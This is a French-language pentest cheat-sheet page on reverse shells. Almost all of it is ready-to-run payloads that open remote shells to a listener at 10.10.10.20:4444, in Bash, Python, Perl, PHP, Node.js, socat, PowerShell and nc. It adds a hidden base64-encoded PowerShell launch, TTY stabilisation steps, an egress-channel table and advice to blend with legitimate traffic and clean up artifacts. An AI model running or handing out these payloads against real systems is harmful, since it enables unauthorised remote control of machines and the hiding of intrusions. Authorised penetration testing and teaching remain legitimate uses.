---
title: Reverse shells
description: "Obtenir un shell interactif depuis Linux, Windows, macOS et le web, puis le stabiliser."
category: post
kind: technique
tags: [shell, payloads, tty, powershell, egress]
level: basic
updated: 2026-11-06
order: 5
aliases: ["bind shell", "shell upgrade", "payload"]
---

## Écouter

```bash
# Listener simple
nc -lvnp 4444

# Avec historique et édition de ligne
rlwrap -cAr nc -lvnp 4444

# TLS
ncat --ssl -lvnp 4444
```

## Linux / macOS

```bash
# Bash
bash -i >& /dev/tcp/10.10.10.20/4444 0>&1

# Python
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.10.20",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

# Perl
perl -e 'use Socket;$i="10.10.10.20";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# PHP
php -r '$s=fsockopen("10.10.10.20",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Node.js
node -e 'require("child_process").exec("bash -i >& /dev/tcp/10.10.10.20/4444 0>&1")'

# Socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.20:4444
```

## Windows

```powershell
# PowerShell TCP client
$c = New-Object Net.Sockets.TCPClient('10.10.10.20',4444)
$s = $c.GetStream()
[byte[]]$b = 0..65535 | % {0}
while (($i = $s.Read($b,0,$b.Length)) -ne 0) {
  $d = (New-Object Text.ASCIIEncoding).GetString($b,0,$i)
  $r = (iex $d 2>&1 | Out-String)
  $r2 = $r + 'PS ' + (pwd).Path + '> '
  $sb = ([Text.Encoding]::ASCII).GetBytes($r2)
  $s.Write($sb,0,$sb.Length); $s.Flush()
}
$c.Close()
```

```cmd
:: Cmd (si nc est présent)
nc.exe -e cmd.exe 10.10.10.20 4444
```

```powershell
# Base64 pour contourner les quotes
$cmd = '...payload...'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -nop -w hidden -enc <BASE64>
```

## Stabiliser le TTY

```bash
# Dans le reverse shell Python
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Ctrl+Z côté attaquant, puis :
stty raw -echo; fg

# Export du terminal
export TERM=xterm-256color
stty rows 40 cols 120
```

```bash
# Si python absent : script ou socat
script -qc /bin/bash /dev/null

# Vérifier l'IP et le port
curl ifconfig.me
ss -tlnp
```

## Choisir le bon canal

| Sortie autorisée | Payload |
| --- | --- |
| 80 / 443 | HTTP(S), WebSocket, DNS |
| 53 | DNS tunneling |
| 4444 / 1337 | TCP brut, souvent filtré |
| Aucune sortie | Bind shell (si entrant autorisé) |

> [!TIP]
> Teste d'abord la connectivité sortante avec `curl` ou `wget` vers ton listener. Un payload qui ne se connecte pas n'est pas forcément bloqué : il peut manquer un binaire, un shell ou les droits d'exécution.

> [!WARNING]
> Un reverse shell laisse une connexion persistante et des logs. Utilise un port et un canal cohérents avec le trafic légitime, nettoie tes artefacts, et ne laisse jamais un listener actif après la mission.
